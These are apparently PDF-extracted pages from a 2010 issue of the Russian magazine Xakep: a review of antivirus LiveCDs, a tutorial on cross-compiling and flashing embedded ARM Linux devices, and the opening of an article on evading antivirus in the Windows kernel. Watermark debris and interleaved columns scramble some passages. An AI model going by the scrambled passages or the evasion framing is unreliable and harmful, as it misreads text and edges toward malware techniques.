Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
11.38 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ПростенькийинтерфейсDr.Web LiveCD

Бета-версияNOD32

КучаантивирусовнаодномLiveCD

нему(clamtkдляGTKиklamavдляkde).Можетработатьтакже вкачествемониторачерезDazukoFS.Правда,вбольшинстве тестовпоказываетнесамыеблестящиерезультаты.Затоестьв репозиториилюбогодистрибутива,длялюбойархитектуры,и нетникакихлицензионныхограничений.Самоетодлянетребовательныхпользователей!

ЖИВОЙАНТИВИРУС

LiveCD сантивирусомнеразвыручалменявситуации, когданужнобылобыстровосстановитьхотькакую-нибудь работоспособностьвинды, котораяподгрузомсвоихвирусовнивкакуюнехотелазагружаться. Ксожалению, выбор средиподобныхинструментовнеоченьвелик— далеко некаждыйвендорпредлагаетсвойLiveCD, даещеина халяву. Пожалуй, самыйизвестныйпредставитель— Dr.Web LiveCD. Текущаяверсия(5.02) вышладовольнодавно, ипока никакихпубличныхбета-версийнет(хотясборкасобнов- леннымибазамивыходиткаждыесутки). Ноестьнадежда, чтопослевыходаверсии6 подLinux LiveCD наконецобновят. Несмотрянато, чтосборкаоснованананесовсемстарыхкомпонентах(ядро, например, версии2.6.30), веткапроLiveCD наофициальномфорумеdrweb полнасообщениямиотом, чтоОСвграфическомрежименегрузитсянатомилиином железе. НатакойслучайестьSafeMode сголойконсолькойи консольнымсканером.

XÀÊÅÐ 07 /138/ 10

ИздалекаможноспутатьсKAV2010

ВотличиеотDr.Web,КасперскийсвойLiveCDособонеафиширует,наофсайтеонемнетдажеупоминания.Ноотгугланичего нескроешь!:)LiveCDможносвободноскачатьотсюда:http:// devbuilds.kaspersky-labs.com/devbuilds/RescueDisk10.Грузит-

сяLiveCDдовольношустро.Толькоуспеешьзаметить,чтоон построеннабазеGentooиядре2.6.31,каквыскочитлицензионноесоглашение.Послепринятияусловийиспользования запускаетсяGUI(внешнепохожийнаkav2010)свозможностью сканированияиобновлениябаз.

УAVGтожеестьсвойLiveCD.Призапускевстречаетлицензионнымсоглашением,которое,конечноже,внимательнопрочитав, надопринять(иначе—ребут).ЕдинственныйLiveCD,имеющий псевдографическийинтерфейс.Призагрузкеавтоматически монтируетвиндовыеразделы,приэтомразделысФС,отличной отFATилиNTFS,монтироватьотказывается.Ноизпсевдографическогоинтерфейсаможновыйти(апринеобходимости командойarlзапуститьопять),смонтироватьрукамиизапустить проверкуизконсоли.Изполезностейможноещеотметитьтулзу дляредактированияреестра(WindowsRegistryEditor). Бываютслучаи, когдарезультатовпроверкиоднимантивирусомнедостаточно. Видимо, такдумалисоздателидист-

рибутиваViAvRe (Virtual Antivirus Rechecker), содержащего целыйворохразличныхантивирусов: Avg, Avast, Doctor Web (CureIt), McAfee, BitDefender, F-Prot. Проектещеочень молодой, ноужеподаетбольшиенадежды. Последняяна моментнаписаниястатьиверсия(04.10, вышедшаявапрелеэтогогода) создананабазеOpenSuse 11.2 спомощью SuSeStudio. Ещеоднафишкадистрибутива— команда viavre-update, позволяющаяобновитьбазысразудлявсех установленныхантивирусов. ВыпускаетсяLiveCD вдвух редакциях: full версиясKDE (иминимальнымитребованиямив768 МбОЗУ) иlight версиясLXDE (поставляетсябез антивирусаmcafee, avg, firefox, virtualbox иk3b; способна работатьна256 МбОЗУ).

WARNING

warning

Помни, что лечение винды с LiveCD не всегда безопасно. На форумах полно тем про то, что после такого лечения винда не загружалась.

DVD

dvd

Наприлагаемом кжурналудискеты

найдешьвсеописанныевстатьеLiveCD. Надеюсь, онитебе непригодятся:).

ЗАКЛЮЧЕНИЕ

Ксожалению, рассмотретьудалосьдалеконевсеантивирусыдляLinux, атольконаиболееизвестные. Забортом остались, например, Panda DesktopSecure for Linux и

антивирусотAvira. Ноянадеюсь, чтоисредипредставленныхвариантовтыпринеобходимостисможешьнайтисебе что-нибудьподуше.z

099

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY

 

 

 

 

 

 

 

UNIXOID

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

 

 

.

 

 

 

 

g

.c

 

Евгений Бейсембаев diver@edu.ioffe.ru, ICQ 308229460

 

 

p

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

МучаюFriendlyArm скитайскимAndroid

Умелыеручки: кодингишитье

Учимсяработатьсне-x86архитектурами из-подLinux

Гаджетыстремительноврываютсявнашужизнь. Большинствоимеют набортуконтроллеротличнойотIntel'овскойархитектурыx86. Иесли раньшепрограммироватьтакиеустройствамоглитольконастоящие гуру, тотеперьпланкаквалификацииснизилась, авозможностисамих контроллеровмногократноувеличились. Докажем, чторазработка embedded (тоестьвстроенного) софтаиз-подGNU/Linux нетолько возможна, нодажеболееудобна, чемиз-подWindows.

Зоопаркархитектуриустройствнанихогромен, ипоначалувовсемэтоммногообразии оченьлегкозапутаться. Чтобынеохватывать всеодновременно, можнопойтипопути

наименьшегосопротивления: начатьизучать

ромсбораданных. Тогдаможнопоставитьсебе

что-либоодно. Предположим, утебянаруках

задачунаучитьсяпрограммироватьэтосамое

естьустройство, бывшеевпрошлойжизника-

устройство: компилироватьподнегософти

ким-нибудьмаршрутизаторомиликонтролле-

прошивать. Еслиснимнатренироваться,

100

XÀÊÅÐ 07 /138/ 10

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

СтрашныйсонLinux-программиста

Идетпроцесссборкитулчейна

хаквсехостальныхдевайсовпойдетпонакатанной, ибо наопределенномуровнеабстракциивсестановитсяодинаковым. СистемаGNU/Linux обычносамаумеетотделять модулидляразныхархитектур, ичастопортированиепрограммысодногоустройстванадругоесводитсякзамене однойстрочкивMake-файле.

Теперьотом, чтонужнознать, преждечембросатьсяза программированиеипрошивкутогоилииногодевайса. Самособой, нуженнекийопытнаписанияикомпилирова- нияхотькаких-нибудьпрограммнаСи. Былобынелишним уметьписатьMake-файлыизнать, какиекускибиблиотек прилинковываютсякисполняемымфайламвUnix-систе- мах. Такжеприветствуетсяморальнаяготовностьпосле очереднойперепрошивкиустройстваполучитьголыйкусок железавместодышащегожизньюLinux-box'а.

Кромедобавлениясофтавужеработающийнадевайсе Linux, неменееинтересноработатьтакжес«голым» контроллером(такназываемыйbare metal), когдавовнутреннейпамятиустройстванетничего, кромезагрузчика. Такой вариантразвитиясобытиймытакжерассмотрим.

КОНКУРЕНЦИЯ

Внашевремя, когдапрограммистыжелезауженекодят намашинномуровнеинепользуютсяпримитивными программаторами, авозможностисамихмикроконтроллероврезкоскакнуливверх, нашесветлоеделостроителей коммунизмапомогаетнамборотьсязасвободунафронте embedded-софта! Ура, товарищи!

Еслисерьезно, тосовременныепроизводителистали поставлятьсосвоейпродукциейкакой-тоневнятныйвин- дово-кнопочно-тыкательныйсофт, позволяющийиндусам отпрограммизманеубиратьрукусмышки. Казалосьбы, райнастал, удобно? Но, какэтонистранно, программиро- ваниеконтроллеровиз-подлинуксаоказываетсявразы удобнее! ТолисказываетсяхакерскоепрошлоеэтойОС, толиеекроссплатформенность, нофакт— работатьздесь комфортнее. Начерномэкранеконсолиработазамечательноавтоматизируетсяиосвобождаетпрограммистаот поиска«тойсамойкнопки» вочередномGUI-интерфейсе дляочередногоМК.

Иногдаделасподобнымсофтомнетакхороши, но знающиелюдизапускаютегочерезWine, илижепросто реверсятего(пример: реверсUSB-программаторадля

Silabs C8051: http://ec2drv.sourceforge.net). Однимсловом,

несмотрянанекоторуюориентированностьпроизводите- лейнаWindows-пользователей, житьивGNU-миреможно.

Итак, какойжесофтдолжениметьподрукойначинающий embedded-программист?

РЕДАКТОРЫИСРЕДЫ

Какивпрограммированиидля«большогобрата», самое главное— этоудобстворабочегоместа. Чтобыфайликив проектебылиотсортированы, акомпиляторвызывалсяс нужнымипараметрами, существуютсредыпрограммиро-

вания(илиIDE — Integrated Desktop Environment). Вобщем смысле, намподойдетлюбаясредапрограммирования, умеющаябазовопониматьхотябыязыкСиивызыватьвнешний компилятор. Нонекоторыеизнихяподчеркнуособо.

Code::Blocks (www.codeblocks.org). Этооченьудобнаяи простаясреда, неперегруженнаянаворотами. Автоматическиподцепляетвсенайденныекомпиляторыиотладчики, подсвечиваетсинтаксисифункции, поддерживает внешниеmake-файлыиимпортированиепроектовиз другихIDE. Вэтойсредеудобнопрограммироватьподочто угодно, втомчислеиподмикроконтроллеры, чемявнейи занималсяпоследниепарулет. Несмотрянато, чтопоследнееобновлениепрограммынасайтезначитсяотфевраля 2008 года, онавсежеразвивается, ирегулярныебилды выкладываютсявsvn.

Eclipse (www.eclipse.org). Монстр, написанныйнаJava, которыйподдерживаетвсенасвете, ачтонеподдерживает— легкодополняетплагинами. Еслитыужепрограммируешь наэтойплатформе, топереучиватьсянеобязательно— контроллерыкодятсяитут. Vim/Emacs. Любителиконсолис полпинкаприкрутятксвоемулюбимомуредакторунужные скриптыдлякомпиляцииипрошивки. Блокнот. Такужповелось, чтовкакой-томоментпрограммистызабиваютна использованиетойилиинойсредыразработкииначинают писатьвобычномтекстовомредакторе. Гномосекиотдадут предпочтениеgedit, кедерасты— kate. Обаредактора подсвечиваютсинтаксисинемногоподдерживаютавтодополнение. Еслитынебоишьсякомпилированиявголой консоли, товозможностейблокнотикатебехватит.

КОМПИЛЯТОРЫ

Пройдемсяпософту, переводящемучеловеческийязыкСив машинныекоды. Ведьнеткомпилятора— нетипрограммы. GNU GCC. Напервомместе, конечно, компиляторGCC, которыйиспользуетсявездевLinux-мире. Подкакуюархитектуруонбынисобиралкод, можнобытьуверенным, что синтаксисбудетсовместимым, код— переносимым, акоровы— надоены. Янастоятельнорекомендуюиспользоватьв

HTTP://WWW

links http://wiki.starterkit.

ru/cross_compiler

— русскоязычный мануал по crosstoolng.

http://wiki.openembedded.net

хороший проект для сборки корневой ФС под встраиваемый линукс.

INFO

info

JTAG — стандарт для внутрисхемного программирования и отладки всяческой электроники. Если девайс не самый примитивный, то этот интерфейс на нем наверняка разведен.

XÀÊÅÐ 07 /138/ 10

101

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

UNIXOID

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Большинствосуществующихнарынкеотладочныхплатужеимеют набортузагрузчиктойилиинойстепеникуцеватости. Пример

— знаменитыйU-boot. Таквот, подобныепрограммыпозволяют прошиватьустройствобезвсякихпрограмматоровчерезUSB или последовательныйпорт(Xmodem). Униххватаетумаположить прошивкупоопределенномуадресувофлеш, атакжескопировать впамятьипередатьейуправление. Довольночастоподобные загрузчикиживутнаотдельноймикросхемепамяти, докоторойне добраться, кромекакчерезJTAG. Получаетсянекаязащитаотдурака: еслиучеловекахватилоквалификацииубитьтакое, тохватит ивосстановить.

работеименноего, даженесмотрянато, чтонекоторыекоммерческиеи сторонниекомпилерымогутбытьэффективнее. SDCC илиSmall Devices C Compiler. Создандлясборкипрошивокподпростыепроцессорытипа Intel MCS51, AVR, HC08, PIC иZ80. Впараллельноммиреконкуренцию емуможетсоставитьтулчейндля8051 отKeil.

Проприетарныекомпиляторы. ТотжеKeil, например. Многиеумельцы используютегочерезWine инежалуются. Чтож, тожевариант. Прочие. Понятно, чтовыборвышеперечисленнымисофтинамине ограничивается. ПоискпоСетипокажетмножествокомпилеровпод малоизвестныеилизабытыеархитектуры, ииспользоватьих— дело вкусаилинеобходимости.

КОМПИЛЯЦИЯ

Компиляторунасесть, теперьнадоимчто-нибудьсобрать, например, подARM-архитектуру. GCC предлагаетдлятакихцелейдва«таргета»: arm-linux иarm-gcc. Есливкратце, тоотличаютсяонидруготдругатем, чтопервыйнужендлясборкисофтаподLinux, авторой— подголое железо. Этонесовсемкорректноеобъяснение, нодляпервогораза вполнеподойдет.

Дляначаларазберемсявтомслучае, еслиустройство, подкотороеты кодишь, ужеимеетсвойLinux наборту, итебенадолишьнаписатьпод негосвоюсофтину.

Какизвестно, всеЮниксыоченьдружелюбны, простослишкомразборчивывдрузьях. Яктому, чтоприналичииLinux наосновноймашине написаниесофтастановитсясущимкайфом. Еслитвояпрограммане используетстороннихбиблиотек, токомпиляциясводитсякпростому переопределениюкомпилера. Напишемпрограммку:

$ vi hello.c

#include <stdio.h> int main (){

printf("Hello world!\n");

}

Теперьскомпилируем:

$ arm-linux-gcc -o hello hello.c $ file hello

hello: ELF 32-bit LSB executable, ARM, version 1, statically linked, not stripped

Каквидим, получившийсябинарникимеетнужнуюцелевуюархитектуруиеслиеготемилиинымспособомзалитьнаустройство, тоондаже запустится, выдавсообщениевконсоли.

ЕслипроектимеетMake-файл, токомпиляторможнопереназначитьдо вызовапрограммыmake. Воттак:

$ CC=arm-linux-gcc make

Аеслиналичествуетскриптconfigure, то, например, так:

Горкапрограмматоров

$ CC=arm-linux-gnu-cc ./configure --host=arm

Ачтожесболеесложнымипроектами, использующимисторонние библиотеки? ВедьеслиониприсутствуютнаPC’шникеисобраныпод PC-архитектуру, токросс-компилятороткажетсяихиспользовать! Мало того, ондажененайдетэтифайлы. Можновспомнить, кактакиепроблемырешаютсянаБольшомБрате. Еслитамнехватаеткакой-нибудь либы, токомандатипа«apt-get install libncurses5-dev» обычнорешает проблемупоисказаголовковибинарниковдлябиблиотеки. Таквот, в случаесдругимиархитектурамиможносделатьточнотакже, аименно

поискатьужеготовыеизаранеескомпилированныелибы. Проект Debian, скореевсего, имеетнасвоихзеркалахвсеболее-менеепопу- лярное. Хотя, еслидлятебяиспользованиеготовенького— читерство, тологично, чтовсенужныебиблиотекитоженадокомпилировать самому.

Разумеется, версиииреализациикачаемыхбиблиотекдолжныбыть одинаковыстеми, чтонаустройстве, илихотябынесильноотличатьсядруготдруга. Например, многиеembedded-линуксыимеютусебя набортукрошечнуюбиблиотекуuclibc вместо«взрослой» ибольшой glibc. Онинеособосовместимымеждусобой, поэтомусофтдолжен собиратьсявпарестойлибой, чтоустановленанадевайсе. Тоесть, это тянетзасобойвесьтотсамыйDependency Hell, такзнакомыйолдовым линуксоидам, даещеусугубленныйнеобходимостьюиметь«повторому экземпляру» всегокроссплатформенногонахост-машине.

Вобщем, еслитысобираешьсякомпилироватьчто-тосложнеекон- сольнойпрограммки, советуюпервоевремяневыпендриватьсяи искатьужепрекомпилированноеокружение, такможносэкономитькучу нервов.

Ачто, еслиутебянарукахголаяжелезка, иникакогоЛинуксатына

нееставитьнесобираешься? Тутстановитсяодновременноилегче, и сложнее. Втакомслучаедлясозданияпрошивкиследуетпорядочно попотеть, читаядокументациюнапроцессор, писатьсвойзагрузчик иинициализациюпериферии, нозатопропадаетненавидимыйнами адзависимостей, ибовсе, написанноевисходнике, будетвитоговом

бинарнике— небольше. Влюбомслучае, обучениепрограммированию контроллеровнанизкомуровневыходитзарамкиэтойстатьи, нов целомкомандыкомпиляциимогутвыглядеть, например, так:

$ ls

startup.S main.c sdram.lds

$ arm-elf-gcc -Os -march=armv4t -c \ -o startup.o startup.S

$ arm-elf-gcc -Os -march=armv4t -c -o main.o main.c $ arm-elf-gcc -T"sdram.lds" -s -Os -march=armv4t \

-nostartfiles -nostdlib -o firmare.elf startup.o main.o $ arm-elf-objcopy --strip-debug --strip-unneeded \

firmware.elf -O binary firmware.bin

102

XÀÊÅÐ 07 /138/ 10

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Энтузиасты-китайцысоздаликрайнедешевоеLinux-устройство скучейвозможностей— FriendlyARM (http://friendlyarm.net). Его разновидность, Mini2440, созданнабазеконтроллераSamsung s3c2440 иимеетсенсорныйLCD-экран. Купитьтакоедляэкспериментовнесложно, апродаетсяонза150 баксов.

Объясню, чтоздесьнаписано, чтобыбылонетакстрашно. Здесь происходитсборканекойпрошивкииздвухисходныхфайлов, один изкоторыхнаписаннаассемблере, адругой— наСи. Параметр"-Os" указываетнанеобходимостьоптимизироватьразмербинарника, а "-march=armv4t" — наоптимизациюподконкретноепроцессорное ядроARMv4. Далее, получившиесяобъектныефайлымысвязываемв общийбинарник, настоятельнорекомендуялинкерунеиспользовать егособственныезагрузочныефайлыистандартнуюбиблиотеку. Они намненужны. Теперьпроопцию"-Tsdram.lds". Файлытипаlds — это такназываемыелинкерныескрипты. Деловтом, чтокомпилятор, собираяпроект, должензнатьструктурупамяти, вкоторойбудетработать прошивка. Дажедляпрограмм, собираемыхподроднойЛинуксна x86-архитектуре, gcc достаетоткуда-тоизнедрсвоихкаталоговнужный линкерныйскриптиприменяетего. Толькоэтонезаметнодляпрограммиста. Здесьже, отринуввсемирское, мывынужденысоставлять собственныйlds, аэтоособыйдзен.

Какизвестно,всеЮниксы очень дружелюбны, просто слишком разбор- чивы в друзьях

Четвертаякомандатакжевызываетвопросыунеподготовленного программиста. Здесьвседеловтом, что, когдазапускаетсясофтнатой илиинойОС, топередначаломработыядромвызываетсязагрузчик, сканирующийпрограммувформатеELF (илиPE — неважно), размещающийеевнужномместепамятиипередающийуправлениевточкустарта. НоведьнанашейжелезкепокачтонетникакихELF-загрузчиков, аесть толькоголоепроцессорноеядро, туповыполняющеемашинныеинструкции! ВотпоэтомуизполучившегосяELF-файламывыдираембинарный код, неимеющийникакихоберток. Именновтакомвидеонибудетжить воперативкенашегоустройства, иименноонпригодендлязаливкиво флеш. Такилииначе, внеуменииписатьлинкерныескриптыизагрузочныефайлыничегострашногонет, ибоуважающийсебяпроизводитель микроконтроллеровобычносамихпредоставляет— этовегоинтересах.

ШЬЕМ

Понятноедело, однойтолькокомпиляциипрограммыдляначалаее использованиянедостаточно. Теперьеенадокак-нибудьзалитьна целевоеустройство. Хорошо, еслитамужестоитнечтолинуксоподобное. Тогдадлязапихиваниявдевайсобычнодостаточнонескольких телодвижений. Например, пересобратьjffs2-образфайловойсистемы илижепростоскопироватьполучившуюсясофтинучерезEthernet/ Xmodem/SD-card/что-угодно. Подробностивтакомслучаеподскажет Гуглилимоипредыдущиестатьи.

Ачто, еслиустройствопредставляетсобойголуюжелезяку? Тутвсе немногосложнее. Сложностьсостоитвтом, чтототилиинойдевайс шьетсяпо-разномуипредоставляетдляэтогоразныеинтерфейсы(на- пример, JTAG илиI2C). Здесьуженадокуритьдокументациюнаплатуи процессор. Перечислюнекоторыйсофт, которыйможетпонадобитьсяв этомнелегкомделе.

…Шелтретийденьзаливкифайловойсистемына ARM-девайс…

Openocd (http://openocd.berlios.de) — утилита, предназначеннаядля перепрошивкиARM иMIPS-устройствчерезинтерфейсJTAG. Поддерживаетпарудесятковпрограмматоровивнушительноеколичество процессорныхядер. Must have.

Далее, поддержкуC2 илиJTAG-интерфейсовимениSiLabs через местныйпрограмматоросуществляетlinux-патчпоссылкеhttp://wiki. enneenne.com/index.php/Silicon_C2_Interface илиотдельнаясофтина Ec2drv (http://ec2drv.sourceforge.net).

ТакжесуществуетEep24c — программадлязаливкибинарногокодав I2С-совместимыемикросхемыпостояннойпамятиEEPROM. Работает черезспаянныйнаколенкеLPT-программатор. Программкиavrdude/ avrprog/uisp/dfu-programmer темилиинымспособомзаливаютпрошивкунапопулярныенынчеконтроллерыAtmel AVR.

Всевышеперечисленноенаходитсяврепозиторияхпопулярныхдистрибутивов, поэтомуустановканевызываетпроблем.

Каквидно, энтузиастаминаписанаогромнаякучасофтаподлюбой более-менеераспространенныймикроконтроллер. Идажеесли производительпоставляетWindows-программкудлявнутрисхемного программированияилиотладки, неполенисьнайтисвободныйаналог. Онесть.

ОБЛЕГЧАЕМЖИЗНЬ

Некаждомуданоспервогоразасобратьgcc-компиляторилибиблио- текуподнужнуюархитектуру, дажееслииимеетсяподрукойнужный мануал. Ноестьготовыеинструменты, сильнопомогающиевэтом нелегкомделе.

ДляначаланапоминаюпропроектEmdebian (emdebian.org), имеющийусебяврепозиторияхужеготовыекомпиляторыибиблиотекиподмножествоархитектур. Такжемноговсякогософтаестьив оригинальномDebian, который, какмыпомним, кроссплатформеннее некуда. ДажеUbuntu (о, ужас!) ужедавнопортированананекоторые не-x86 платформыи, следовательно, имеетскомпилированныедля этогопакеты.

Еслижесредиготовыхинструментовнеоказалосьнужнойтебе комбинациикомпилятор/библиотека, тоотучастисобиратьвсе вручнуюизбавитскриптcrosstool-ng (http://ymorin.is-a-geek.org/ projects/crosstool). Пословамсамихразработчиков, довольносложно перечислитьвсевозможностиэтойпрограммы, ияснимисогласен. Отколичестваподдерживаемыхтаргетовберетоторопь, ивоттутуж точнонайдетсявсенужноетебедлякросс-компиляции.

__EXIT()

Сборкасофтаподжелезо— сложноеиоченьинтересноезанятие, требующееусидчивости. Малочтосравнитсяскайфом, когданаблюдаешь мигающийпотвоейпрограммесветодиодик, тольковотподготовкакэтомуможетотнятьоченьмногосил. Главное— небросатьвсенаполпути, и иметьввиду, чтолинукссильнопомогаетвделеembedded-кодинга..z

XÀÊÅÐ 07 /138/ 10

103

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

w Click

to

 

 

 

 

 

 

CODING

 

 

 

 

 

 

 

m

Александр Эккерт stannic.man@gmail.com

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

УРОКИЯДЕРНОЙВОЙНЫ

НОВЫЕ ПРАВИЛА ВЫЖИВАНИЯ В ЯДРЕ WINDOWS

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Сегодня мы продолжим разговор о том, как помочь тебе выжить в суровых условиях ядра Windows, на территории, со всех сторон

простреливаемой аверами и проактивными защитами. И не просто выжить, а сделать это красиво, элегантно и с наименьшими потерями.

